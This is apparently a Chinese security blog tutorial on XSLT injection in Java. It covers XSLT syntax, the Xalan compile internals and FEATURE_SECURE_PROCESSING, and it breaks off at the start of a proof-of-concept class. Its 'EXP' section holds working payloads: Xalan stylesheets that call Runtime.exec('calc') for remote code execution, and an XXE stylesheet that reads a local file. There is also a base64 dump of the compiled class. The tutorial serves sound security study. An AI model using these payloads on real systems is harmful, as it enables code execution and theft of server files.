XSLT注入漏洞
2024-09-13 09:14:17 # javasec

介绍

  • XSLT 用于将一种 XML 文档转换为另外一种 XML 文档,或者可被浏览器识别的其他类型的文档,比如 HTML 和 XHTML。通常,XSLT 是通过把每个 XML 元素转换为 (X)HTML 元素来完成这项工作的。通过 XSLT,您可以向输出文件添加元素和属性,或从输出文件移除元素和属性。您也可重新排列并分类元素,执行测试并决定隐藏或显示哪个元素,等等。
  • 如需访问 XSLT 的元素、属性以及特性,我们必须在文档顶端声明 XSLT 命名空间。

首先介绍一下什么是xslt,XSL是一种将XML文档进行转换的语言,作用就是将xml文件内容以xslt定义的格式来转化成其他文件,例如文本、html、csv等等

这里给个例子

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<bookstore>
<book>
<title>Harry Potter</title>
<author>J.K. Rowling</author>
</book>
</bookstore>

这是待转换的xml文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<html>
<body>
<h2>Book List</h2>
<xsl:for-each select="bookstore/book">
<p>
<xsl:value-of select="title"/> -
<xsl:value-of select="author"/>
</p>
</xsl:for-each>
</body>
</html>
</xsl:template>
</xsl:stylesheet>

这是转换使用的xslt文件,xslt其实也是xml文件,只不过他是用xsl标签规定了xml的格式

接着转换出来的结果见上,是一个html文件,到这里我们就已经大概知道了xslt的作用,就是起一个xml转化模版的作用,让xml按照我们制定的模版进行转化,报表功能、不同格式的数据导出、不同格式的数据导出、打印、邮件中常用到

XSL 包括三部分:

  • XSLT - 一种用于转换 XML 文档的语言。
  • XPath - 一种用于在 XML 文档中导航的语言。
  • XSL-FO - 一种用于格式化 XML 文档的语言。

XSLT注入介绍

简单来讲就是你可以控制或者部分控制xslt文件的内容,然后服务端按照你构造的xslt内容进行转化时执行了恶意代码从而rce,可以类似于ssti,毕竟都是起的渲染作用,只不过一个是xml语法一个是自己构造的语法

其中实现xslt转化这一功能的是xslt引擎,不同语言有不同的引擎,比如说java使用的就是Xalan

这个我们学反序列化的时候肯定熟悉的很,因为我们一直在用这个库里面的templateImpl类

当然还有其他引擎比如Microsoft XSLT、Saxon、Libxslt

当然XSL样式表文件实际上也是xml文件,所以他同样能够进行XXE攻击,下面举个例子

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "D:\download\flag.txt">]>
<xsl:transform version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:saxon="http://saxon.sf.net/">
<xsl:output method="text"/>
<xsl:template match="/">
FileRead: &ext_file;
Version: <xsl:value-of select="system-property('xsl:version')" />
Vendor: <xsl:value-of select="system-property('xsl:vendor')" />
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" />
</xsl:template>
</xsl:transform>

XSLT语法

1
2
3
4
5
6
7
8
<xsl:transform version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:saxon="http://saxon.sf.net/">
<xsl:output method="text"/>
<xsl:template match="/">
Version: <xsl:value-of select="system-property('xsl:version')" />
Vendor: <xsl:value-of select="system-property('xsl:vendor')" />
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" />
</xsl:template>
</xsl:transform>

XSLT的命名空间

首先使用了xmlns:xsl=”http://www.w3.org/1999/XSL/Transform"引用了w3c的xsl命名空间,这样我们就能够使用xsl属性和标签了,至于具体xsl语法可以自己去搜一下,这里声明xsl样式表总共有两个方法

1
2
3
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">

<xsl:transform version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">

template

xsl:template,xsl样式表由一个或者多个xsl:template组成,一个template相当于一个快,他可以通过match属性来匹配xml的某一节点,然后在该节点里面操作

属性 描述
name name 可选。为模板定义名称。注释:如果省略该属性,则必须设置 match 属性。
match pattern 可选。模板的匹配模式。注释:如果省略该属性,则必须设置 name 属性。
mode mode 可选。为模板规定模式。
priority number 可选。模板的优先级编号。

< xsl:template > 元素内部的内容定义了写到输出结果的 HTML 代码。

value-of

< xsl:value-of > 元素用于提取某个选定节点的值,并把值添加到转换的输出流中

这就是一个取值的元素,其中select属性是一个xpath表达式,当然也可以用system-property或者命名空间的属性

属性 描述
select expression 必需。XPath 表达式,规定了从哪个节点/属性来提取值。
disable-output-escaping yesno 默认值为 “no”。如果值为 “yes”,通过实例化 xsl:text
元素生成的文本节点在输出时将不进行任何转义。 比如如果设置为 “yes”,则 “<” 将不进行转换。如果设置为 “no”,则被输出为 “<”。

for-each

< xsl:for-each > 元素可用于选取指定的节点集中的每个 XML 元素。

直接看例子理解

output

< xsl:output > 是顶层元素(top-level element),必须是 < xsl:stylesheet > 或 < xsl:transform > 的子节点。

1
2
3
4
5
6
7
8
9
10
11
<xsl:output
method="xml|html|text|name"
version="string"
encoding="string"
omit-xml-declaration="yes|no"
standalone="yes|no"
doctype-public="string"
doctype-system="string"
cdata-section-elements="namelist"
indent="yes|no"
media-type="string"/>
属性 描述
method xmlhtmltextname 可选。定义输出的格式。默认是 XML。Netscape 6 仅支持 “html” 和 “xml”。
version string 可选。设置输出格式的 W3C 版本号。(仅在 method=”html” or method=”xml” 时使用)。
encoding string 可选。设置输出中编码属性的值。
omit-xml-declaration yesno 可选。 “yes” 规定在输出中省略 XML 声明 ()。 “no” 规定应在输出中包含 XML 声明。默认是 “no”。
standalone yesno 可选。规定 XSLT 处理器是否应输出独立文档声明;该值必须为 yes 或 no。默认是 “no”。Netscape 6 不支持该属性。
doctype-public string 可选。规定 DTD 中要使用的公共标识符。即输出中 DOCTYPE 声明的 PUBLIC 属性的值。
doctype-system string 可选。规定 DTD 中要使用的系统标识符。即输出中 DOCTYPE 声明的 SYSTEM 属性的值。
cdata-section-elements namelist 可选。一个空格分隔的元素列表,这些元素的文本内容应作为 CDATA 部分来输出。
indent yesno 可选。在输出结果树时是否要增加空白;该值必须为 yes 或 no。Netscape 6 不支持该属性。
media-type string 可选。定义输出的 MIME 类型(数据的媒体类型)。默认是 “text/xml”。Netscape 6 不支持该属性。

import

< xsl:import > 元素是顶层元素,用于把一个样式表中的内容导入另一个样式表中。

该元素必须是 < xsl:stylesheet > 或 < xsl:transform > 的第一个子节点。

1
<xsl:import href="URI"/>

需要使用xsl:apply-imports/来应用规则

include

< xsl:include > 元素是顶层元素(top-level element),把一个样式表中的样式表内容包含到另一个样式表中。

1
<xsl:include href="URI"/>

variable

< xsl:variable > 元素用于声明局部或全局的变量。

  • 如果被声明为顶层元素,则该变量是全局的,而如果在模板内声明,则变量是本地的。
  • 如果被声明为顶层元素,则该变量是全局的,而如果在模板内声明,则变量是本地的。
  • 您可以通过 < xsl:variable > 元素的内容或通过 select 属性,向变量添加值!
1
2
3
4
5
6
7
<xsl:variable
name="name"
select="expression">

<!-- Content:template -->

</xsl:variable>

copy-of

< xsl:copy-of > 元素可创建当前节点的一个副本。

  • 当前节点的 Namespace 节点、子节点以及属性都会被自动复制!
  • 该元素可用于把相同节点的多个副本插入到输出的不同位置。

相当于引入

XSLT函数

system-property()

系统属性 说明
xsl:version 提供处理器所实现的 XSLT 版本的数字;如果 XSLT 处理器实现本文档所指定的 XSLT 版本,该数字为 1。
xsl:vendor XSLT 处理器的开发商。
xsl:vendor-url 标识XSLT 处理器的开发商的 URL。
msxsl:version 提供 Microsoft XML 核心服务 (MSXML) 版本的数字。

document()

document() 函数用于访问外部 XML 文档中的节点。外部 XML 文档必须是合法且可解析的。

此函数提供了从 XSLT 样式表中检索由输入流提供的初始数据以外的其他 XML 资源的方法。

使用该函数的一种方式是是在一个外部文档中查找数据。举例来说,我们希望找到与华氏度值相对应的摄氏度值,我们访问了包含预计算值的文档:

1
<xsl:value-of select="document('celsius.xml')/celsius/result[@value=$value]"/>

相当于读取并解析一个xml,要求改文件是合法的,可以用来读取敏感信息

当然这里也可以用于远程连接

Xalan

Xalan 是一个开源的XML处理器,主要用于XSLT转换以及XPath查询。它最初是由Apache XML项目开发的一部分,其中包括了 Xalan-Java 和 Xalan-C++ 两个主要版本。Xalan-Java 是用Java语言编写的XSLT处理器,能够将XML文档转换为其他格式。

https://xalan.apache.org/

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?xml version="1.0" encoding="ISO-8859-1" ?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:fo="http://www.w3.org/1999/XSL/Format">
<xsl:template match="/">
<CClienti label="{{0}} Trasformato">
<xsl:variable name="abcd" select="Runtime:exec(Runtime:getRuntime(),'calc')" xmlns:Runtime="http://xml.apache.org/xalan/java/java.lang.Runtime"/>
<xsl:variable name="efgh" select="jv:getInputStream($abcd)" xmlns:jv="http://xml.apache.org/xalan/java"/>
<xsl:variable name="ijkl" select="isr:new($efgh)" xmlns:isr="http://xml.apache.org/xalan/java/java.io.InputStreamReader"/>
<xsl:variable name="mnop" select="br:new($ijkl)" xmlns:br="http://xml.apache.org/xalan/java/java.io.BufferedReader"/>
<xsl:value-of select="jv:readLine($mnop)" xmlns:jv="http://xml.apache.org/xalan/java"/>
<xsl:value-of select="jv:readLine($mnop)" xmlns:jv="http://xml.apache.org/xalan/java"/>
</CClienti>
</xsl:template>
<xsl:template match="@*|node()">
<xsl:copy>
<xsl:apply-templates select="@*|node()"/>
</xsl:copy>
</xsl:template>
</xsl:stylesheet>
1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "D:\download\flag.txt">]>
<xsl:transform version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:saxon="http://saxon.sf.net/">
<xsl:output method="text"/>
<xsl:template match="/">
FileRead: &ext_file;
Version: <xsl:value-of select="system-property('xsl:version')" />
Vendor: <xsl:value-of select="system-property('xsl:vendor')" />
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" />
</xsl:template>
</xsl:transform>
1
2
3
4
5
6
7
8
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object">
<xsl:template match="/">
<xsl:variable name="rtobject" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtobject,'calc')"/>
<xsl:variable name="processString" select="ob:toString($process)"/>
<xsl:value-of select="$processString"/>
</xsl:template>
</xsl:stylesheet>

调试

首先通过TransformerFactory工厂类创建一个Transformer转化对象,我们跟进一下newTransformer看一下,xslt模版在这一步传入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
TemplatesImpl templates;
// If the _useClasspath attribute is true, try to load the translet from
// the CLASSPATH and create a template object using the loaded
// translet.
if (_useClasspath) {
String transletName = getTransletBaseName(source);

if (_packageName != null)
transletName = _packageName + "." + transletName;

try {
final Class<?> clazz = ObjectFactory.findProviderClass(transletName, true);
resetTransientAttributes();

templates = new TemplatesImpl(new Class<?>[]{clazz}, transletName, null, _indentNumber, this);
if (_uriResolver != null) {
templates.setURIResolver(_uriResolver);
}
return templates;
}
catch (ClassNotFoundException cnfe) {
ErrorMsg err = new ErrorMsg(ErrorMsg.CLASS_NOT_FOUND_ERR, transletName);
throw new TransformerConfigurationException(err.toString());
}
catch (Exception e) {
ErrorMsg err = new ErrorMsg(
new ErrorMsg(ErrorMsg.RUNTIME_ERROR_KEY)
+ e.getMessage());
throw new TransformerConfigurationException(err.toString());
}
}

// If _autoTranslet is true, we will try to load the bytecodes
// from the translet classes without compiling the stylesheet.
if (_autoTranslet) {
byte[][] bytecodes;
String transletClassName = getTransletBaseName(source);

if (_packageName != null)
transletClassName = _packageName + "." + transletClassName;

if (_jarFileName != null)
bytecodes = getBytecodesFromJar(source, transletClassName);
else
bytecodes = getBytecodesFromClasses(source, transletClassName);

if (bytecodes != null) {
if (_debug) {
if (_jarFileName != null)
System.err.println(new ErrorMsg(
ErrorMsg.TRANSFORM_WITH_JAR_STR, transletClassName, _jarFileName));
else
System.err.println(new ErrorMsg(
ErrorMsg.TRANSFORM_WITH_TRANSLET_STR, transletClassName));
}

// Reset the per-session attributes to their default values
// after each newTemplates() call.
resetTransientAttributes();
templates = new TemplatesImpl(bytecodes, transletClassName, null, _indentNumber, this);
if (_uriResolver != null) {
templates.setURIResolver(_uriResolver);
}
return templates;
}
}
final XSLTC xsltc = new XSLTC(_xmlFeatures, _hasUserErrListener);
if (_debug) xsltc.setDebug(true);
if (_enableInlining)
xsltc.setTemplateInlining(true);
else
xsltc.setTemplateInlining(false);

if (!_isNotSecureProcessing) xsltc.setSecureProcessing(true);
xsltc.setProperty(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, _accessExternalStylesheet);
xsltc.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, _accessExternalDTD);
xsltc.setProperty(JdkConstants.SECURITY_MANAGER, _xmlSecurityManager);
xsltc.setProperty(JdkConstants.JDK_EXT_CLASSLOADER,
(_extensionClassLoader == null) ? null : _extensionClassLoader.getValue());

// set Catalog features
buildCatalogFeatures();
xsltc.setProperty(JdkXmlFeatures.CATALOG_FEATURES, _catalogFeatures);

xsltc.init();
if (!_isNotSecureProcessing)
_xsltcExtensionFunctions = xsltc.getExternalExtensionFunctions();
// Set a document loader (for xsl:include/import) if defined
if (_uriResolver != null || ( _catalogFiles != null
&& _xmlFeatures.getFeature(JdkXmlFeatures.XmlFeature.USE_CATALOG))) {
xsltc.setSourceLoader(this);
}

// Pass parameters to the Parser to make sure it locates the correct
// <?xml-stylesheet ...?> PI in an XML input document
if ((_piParams != null) && (_piParams.get(source) != null)) {
// Get the parameters for this Source object
PIParamWrapper p = _piParams.get(source);
// Pass them on to the compiler (which will pass then to the parser)
if (p != null) {
xsltc.setPIParameters(p._media, p._title, p._charset);
}
}

// Set the attributes for translet generation
int outputType = XSLTC.BYTEARRAY_OUTPUT;
if (_generateTranslet || _autoTranslet) {
// Set the translet name
xsltc.setClassName(getTransletBaseName(source));

if (_destinationDirectory != null)
xsltc.setDestDirectory(_destinationDirectory);
else {
String xslName = getStylesheetFileName(source);
if (xslName != null) {
File xslFile = new File(xslName);
String xslDir = xslFile.getParent();

if (xslDir != null)
xsltc.setDestDirectory(xslDir);
}
}

if (_packageName != null)
xsltc.setPackageName(_packageName);

if (_jarFileName != null) {
xsltc.setJarFileName(_jarFileName);
outputType = XSLTC.BYTEARRAY_AND_JAR_OUTPUT;
}
else
outputType = XSLTC.BYTEARRAY_AND_FILE_OUTPUT;
}

// Compile the stylesheet
final InputSource input = Util.getInputSource(xsltc, source);
byte[][] bytecodes = xsltc.compile(null, input, outputType);
final String transletName = xsltc.getClassName();

// Output to the jar file if the jar file name is set.
if ((_generateTranslet || _autoTranslet)
&& bytecodes != null && _jarFileName != null) {
try {
xsltc.outputToJar();
}
catch (java.io.IOException e) { }
}

// Reset the per-session attributes to their default values
// after each newTemplates() call.
resetTransientAttributes();

// Pass compiler warnings to the error listener
if (_errorListener != this) {
try {
passWarningsToListener(xsltc.getWarnings());
}
catch (TransformerException e) {
throw new TransformerConfigurationException(e);
}
}
else {
xsltc.printWarnings();
}

// Check that the transformation went well before returning
if (bytecodes == null) {
List<ErrorMsg> errs = xsltc.getErrors();
ErrorMsg err;
if (errs != null) {
err = errs.get(errs.size()-1);
} else {
err = new ErrorMsg(ErrorMsg.JAXP_COMPILE_ERR);
}
Throwable cause = err.getCause();
TransformerConfigurationException exc;
if (cause != null) {
exc = new TransformerConfigurationException(cause.getMessage(), cause);
} else {
exc = new TransformerConfigurationException(err.toString());
}

// Pass compiler errors to the error listener
if (_errorListener != null) {
passErrorsToListener(xsltc.getErrors());

// As required by TCK 1.2, send a fatalError to the
// error listener because compilation of the stylesheet
// failed and no further processing will be possible.
try {
_errorListener.fatalError(exc);
} catch (TransformerException te) {
// well, we tried.
}
}
else {
xsltc.printErrors();
}
throw exc;
}

templates = new TemplatesImpl(bytecodes, transletName, xsltc.getOutputProperties(),
_indentNumber, this);
if (_uriResolver != null) {
templates.setURIResolver(_uriResolver);
}
return templates;

代码有点长,这里简单的分析一下

首先创建了一个XSLTC解析器对象,然后根据工厂类的属性来初始化XSLTC对象,前面类路径和自动tranlate就不讲了

接着编译xsl样式表,这里直接调用xsltc对象的compile方法将xlst源文件编译成了bytecodes字节码

接着重置每个会话属性到它们的默认值。将编译器的警告传递给错误监听器。

接着在返回之前进行检查

最后创建一个templatesImpl对象,这个构造函数大家一定太熟了

接着回到newTransformer,这里可以看到检查了一个feature_secure_processing,这个就是防御xml注入的参数,在这里也可以防御xslt注入

1
2
3
if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}

所以这里的核心代码就是调用compile将xslt文件转化成JVM字节码,然后转化的时候其实就是调用该字节码的transform方法,所以后面流程我就简单带过一下,这里我们重点看看这个编译出来的字节码长什么样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
public boolean compile(InputSource input, String name) {
try {
// Reset globals in case we're called by compile(ArrayList v);
reset();

// The systemId may not be set, so we'll have to check the URL
String systemId = null;
if (input != null) {
systemId = input.getSystemId();
}

// Set the translet class name if not already set
if (_className == null) {
if (name != null) {
setClassName(name);
}
else if (systemId != null && !systemId.equals("")) {
setClassName(Util.baseName(systemId));
}

// Ensure we have a non-empty class name at this point
if (_className == null || _className.length() == 0) {
setClassName("GregorSamsa"); // default translet name
}
}

// Get the root node of the abstract syntax tree
SyntaxTreeNode element = null;
if (_reader == null) {
element = _parser.parse(input);
}
else {
element = _parser.parse(_reader, input);
}

// Compile the translet - this is where the work is done!
if ((!_parser.errorsFound()) && (element != null)) {
// Create a Stylesheet element from the root node
_stylesheet = _parser.makeStylesheet(element);
_stylesheet.setSourceLoader(_loader);
_stylesheet.setSystemId(systemId);
_stylesheet.setParentStylesheet(null);
_stylesheet.setTemplateInlining(_templateInlining);
_parser.setCurrentStylesheet(_stylesheet);

// Create AST under the Stylesheet element (parse & type-check)
_parser.createAST(_stylesheet);
}
// Generate the bytecodes and output the translet class(es)
if ((!_parser.errorsFound()) && (_stylesheet != null)) {
_stylesheet.setCallsNodeset(_callsNodeset);
_stylesheet.setMultiDocument(_multiDocument);
_stylesheet.setHasIdCall(_hasIdCall);

// Class synchronization is needed for BCEL
synchronized (getClass()) {
_stylesheet.translate();
}
}
}
catch (Exception e) {
if (_debug) e.printStackTrace();
if (ErrorMsg.XPATH_LIMIT.equals(e.getMessage())) {
return !_parser.errorsFound();
}
_parser.reportError(Constants.FATAL, new ErrorMsg(ErrorMsg.JAXP_COMPILE_ERR, e));
}
catch (Error e) {
if (_debug) e.printStackTrace();
_parser.reportError(Constants.FATAL, new ErrorMsg(ErrorMsg.JAXP_COMPILE_ERR, e));
}
finally {
_reader = null; // reset this here to be sure it is not re-used
}
return !_parser.errorsFound();
}

这个编译具体实现部分涉及抽象语法树AST生成等知识了,我也不会

这里直接使用调试大法将字节码通过base64的形式带出来

1
yv66vgADAC0AwAEAClNvdXJjZUZpbGUBAAABABtkaWUvdmVyd2FuZGx1bmcvR3JlZ29yU2Ftc2EHAAMBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwAFAQAEX2RvbQEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEAP2NvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcgcACQEADHN0YXJ0RWxlbWVudAEAFShMamF2YS9sYW5nL1N0cmluZzspVgwACwAMCwAKAA0BAAplbmRFbGVtZW50DAAPAAwLAAoAEAEADGFkZEF0dHJpYnV0ZQEAJyhMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzspVgwAEgATCwAKABQBABJhZGRVbmlxdWVBdHRyaWJ1dGUBACgoTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7SSlWDAAWABcLAAoAGAEAGm5hbWVzcGFjZUFmdGVyU3RhcnRFbGVtZW50DAAaABMLAAoAGwEADXN0YXJ0RG9jdW1lbnQBAAMoKVYMAB0AHgsACgAfAQALZW5kRG9jdW1lbnQMACEAHgsACgAiAQAzY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yBwAkAQAMc2V0U3RhcnROb2RlAQA4KEkpTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsMACYAJwsAJQAoAQAFcmVzZXQBADcoKUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7DAAqACsLACUALAEABG5leHQBAAMoKUkMAC4ALwsAJQAwAQAQcmVzZXRQcmVmaXhJbmRleAwAMgAeAQA8Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQmFzaXNMaWJyYXJ5BwA0CgA1ADMBAA5hcHBseVRlbXBsYXRlcwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYMADcAOAoABAA5DAAHAAgJAAQAOwEADm1ha2VET01BZGFwdGVyAQBnKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOylMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL2RvbS9ET01BZGFwdGVyOwwAPQA+CgAGAD8BACtjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NBwBBAQALZ2V0SXRlcmF0b3IMAEMAKwsAQgBEAQAWdHJhbnNmZXJPdXRwdXRTZXR0aW5ncwEARChMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWDABGAEcKAAYASAEACWJ1aWxkS2V5cwEApyhMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7SSlWAQAEQ29kZQEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgcATQEACkV4Y2VwdGlvbnMMAEoASwoABABQAQAJc2V0RmlsdGVyAQA4KExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvU3RyaXBGaWx0ZXI7KVYMAFIAUwsAQgBUAQAIdG9wTGV2ZWwMAFYAOAoABABXAQAJdHJhbnNmb3JtAQALZ2V0Q2hpbGRyZW4MAFoAJwsAQgBbAQAKY2hhcmFjdGVycwEARShJTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgwAXQBeCwBCAF8BAAlnZXRNb2R1bGUBABQoKUxqYXZhL2xhbmcvTW9kdWxlOwwAYQBiAQAPamF2YS9sYW5nL0NsYXNzBwBkCgBlAGMBAAdmb3JOYW1lAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwwAZwBoCgBlAGkBABtkaWUudmVyd2FuZGx1bmcuR3JlZ29yU2Ftc2EIAGsBABFqYXZhLmxhbmcuUnVudGltZQgAbQEACGFkZFJlYWRzAQAmKExqYXZhL2xhbmcvTW9kdWxlOylMamF2YS9sYW5nL01vZHVsZTsMAG8AcAEAEGphdmEvbGFuZy9Nb2R1bGUHAHIKAHMAcQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMAHUAdgEAEWphdmEvbGFuZy9SdW50aW1lBwB4CgB5AHcBAARjYWxjCAB7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAfQB+CgB5AH8BABBqYXZhLmxhbmcuT2JqZWN0CACBAQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwwAgwCEAQAQamF2YS9sYW5nL09iamVjdAcAhgoAhwCFCAACAQALc2V0RXNjYXBpbmcBAAQoWilaDACKAIsLAAoAjAEAVihMamF2YS9sYW5nL1N0cmluZztMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWDABdAI4KAAYAjwEADnRlbXBsYXRlJGRvdCQwDACRAEsKAAQAkgEAEWdldEV4cGFuZGVkVHlwZUlEAQAEKEkpSQwAlACVCwBCAJYBAAxfc05hbWVzQXJyYXkBABNbTGphdmEvbGFuZy9TdHJpbmc7AQALX3NVcmlzQXJyYXkBAAxfc1R5cGVzQXJyYXkBAAJbSQEAEF9zTmFtZXNwYWNlQXJyYXkBABBqYXZhL2xhbmcvU3RyaW5nBwCeDACYAJkJAAQAoAwAmgCZCQAEAKIMAJsAnAkABACkDACdAJkJAAQApgEAC3RvQ2hhckFycmF5AQAEKClbQwwAqACpCgCfAKoBAAg8Y2xpbml0PgEABjxpbml0PgwArQAeCgAGAK4BAApuYW1lc0FycmF5DACwAJkJAAYAsQEACXVyaXNBcnJheQwAswCZCQAGALQBAAp0eXBlc0FycmF5DAC2AJwJAAYAtwEADm5hbWVzcGFjZUFycmF5DAC5AJkJAAYAugEAD3RyYW5zbGV0VmVyc2lvbgEAAUkMALwAvQkABgC+ACEABAAGAAAABQABAAcACAAAAAwAmACZAAAADACaAJkAAAAMAJsAnAAAAAwAnQCZAAAABwABAEoASwACAEwAAAANAAAABQAAAAGxAAAAAABPAAAABAABAE4AAQBWADgAAgBMAAAAGgABAAUAAAAOK7kARQEAuQAxAQA2BLEAAAAAAE8AAAAEAAEATgABAFkAOAACAEwAAABLAAQABQAAAD+4ADYqKiu2AEC1ADwruQBFAQC5ADEBADYEKi22AEkqKrQAPCwttgBYLbkAIAEAKiq0ADwsLbYAOi25ACMBALEAAAAAAE8AAAAEAAEATgABAJEASwABAEwAAABsAAMACAAAAGASbLgAarYAZhJuuABqtgBmtgB0V7gAejoFEmy4AGq2AGYSbrgAarYAZrYAdFcZBRJ8tgCAOgYSbLgAarYAZhKCuABqtgBmtgB0VxkGtgCIWccABlcSiToHKhkHLbYAkLEAAAAAABEANwA4AAIATAAAAKEABQAFAAAAlcgAAACDKxUEuQCXAgCqAAAAAAB2AAAAAAAAAA0AAABHAAAAVQAAAGgAAABoAAAAdgAAAHYAAAB2AAAAdgAAAHYAAABHAAAAdgAAAHYAAAB2AAAAdiorLC0VBLYAk8gAAAAmKisrFQS5AFwCAC22ADrIAAAAEysVBC25AGADAMgAAAAFLLkAMQEAWTYEmwAIyP///3axAAAAAABPAAAABAABAE4ACQCsAB4AAQBMAAAAKAABAAUAAAAcA70An7MAoQO9AJ+zAKMDvAqzAKUDvQCfswCnsQAAAAAAAQCtAB4AAQBMAAAAMwACAAUAAAAnKrcAryqyAKG1ALIqsgCjtQC1KrIApbUAuCqyAKe1ALsqEGW1AL+xAAAAAAABAAEAAAACAAI=
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package XSLT;


import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.util.Base64;

public class poc {
public static void main(String[] args) throws IOException {
